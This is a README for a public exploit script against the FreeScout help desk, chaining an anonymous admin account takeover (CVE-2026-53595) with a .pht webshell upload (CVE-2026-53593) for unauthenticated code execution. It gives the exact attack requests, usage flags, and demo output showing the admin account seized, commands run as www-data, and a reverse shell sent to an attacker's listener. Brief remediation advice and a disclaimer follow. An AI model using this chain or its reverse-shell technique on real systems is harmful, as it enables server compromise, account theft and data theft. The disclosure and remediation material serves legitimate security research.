## https://sploitus.com/exploit?id=90C4DDEA-AA66-5C43-AB60-2F52DF63F0C7
# CVE-2026-53595 (+ CVE-2026-53593) โ FreeScout Anonymous ATO โ RCE
Unauthenticated remote code execution in **FreeScout โค 1.8.223** (a Laravel help
desk) by chaining two flaws, both fixed in **1.8.224**:
- **CVE-2026-53595** โ anonymous **account takeover**. `POST /user-setup/{hash}/{invite_sent_at}`
picks the account by its `invite_hash` column only. An *activated* user has
`invite_hash = ''`, and on MySQL/MariaDB `VARCHAR` equality **ignores trailing
spaces**, so `hash = %20` matches the admin. The `invite_sent_at` expiry gate
decrypts the value with the user's password as the key, but the decrypt helper
**returns the raw input on failure** (empty `catch`), so a plaintext current unix
timestamp is accepted. The endpoint then overwrites the account's email + password
and logs you in.
- **CVE-2026-53593** โ authenticated **`.pht` upload**. The upload denylist
(`php.*|sh|pl|phtml|phar`) does **not** cover `.pht`, which Apache `mod_php`
executes as PHP.
Chain them and an unauthenticated attacker gets code execution as the web-server
user (`www-data`).
## What it does
1. `GET /user-setup/%20/` to grab a session cookie + CSRF token.
2. `POST` the same URL to overwrite the admin's email/password and log in (ATO).
3. `POST /uploads/upload` a `shell.pht` (``).
4. Runs a command through the webshell, or opens a reverse shell.
## Usage
```
./exploit.sh -t [options]
-t, --target URL target base URL (e.g. http://10.10.10.10) [required]
-c, --cmd CMD run a single command (default: id)
--lhost IP reverse shell: attacker IP (start nc first)
--lport PORT reverse shell port (default 4444)
--email ADDR email to set on the seized admin (default pwned@evil.com)
--password PASS password to set (default Pwned12345)
-h, --help
```
## Demo
```console
$ ./exploit.sh -t http://10.10.10.10
[*] fetching setup form (hash=%20, ts=1784500000) ...
[*] seizing admin -> pwned@evil.com / Pwned12345 ...
[+] admin account taken over (you can also log in at http://10.10.10.10/login)
[*] uploading .pht webshell ...
[+] webshell: http://10.10.10.10/storage/uploads/p2Bj81XDu6DbBJ4Sq5mYW05zY.pht
[+] id -> uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ ./exploit.sh -t http://10.10.10.10 -c 'cat /var/www/local.txt'
...
[+] cat /var/www/local.txt -> f1a7c30e9b6d24851e6d24851f1a7c30
# reverse shell (run `nc -lvnp 4444` first)
$ ./exploit.sh -t http://10.10.10.10 --lhost 10.10.14.7 --lport 4444
[+] admin account taken over ...
[+] webshell: http://10.10.10.10/storage/uploads/....pht
[*] sending reverse shell to 10.10.14.7:4444 ...
[+] payload sent โ check your listener.
```
## Requirements
- `bash`, `curl`, `jq`
## Notes
- Works on FreeScout `1.0.x โ 1.8.223`; `1.8.224+` fixes both bugs (`302` turns into
a failed takeover).
- The RCE lands as **www-data** (Apache's user). `.pht` execution depends on the
server running `.pht` through `mod_php` โ the "standard Apache + libapache2-mod-php"
environment the CVE targets.
- The reverse shell is base64-encoded before it hits the webshell: `system()` runs
via `/bin/sh` (dash on Debian/Ubuntu), which doesn't understand the bash-only
`>& /dev/tcp/...` redirect, and base64 also avoids all quoting pitfalls.
- The default password has no `!` on purpose โ `!` triggers history expansion in
interactive bash/zsh and mangles pasted commands.
## Remediation
- Upgrade to FreeScout **1.8.224+**.
- Never use `VARCHAR` equality for security tokens (trailing-space collisions), and
never treat a failed decrypt as a valid value โ reject empty/invalid tokens.
- Use an upload allowlist, store uploads outside the web root, and serve them through
a handler that never executes them.
## Disclaimer
For authorized security testing and educational purposes only. Do not use it against
systems you do not own or have explicit permission to test. The author accepts no
liability for misuse.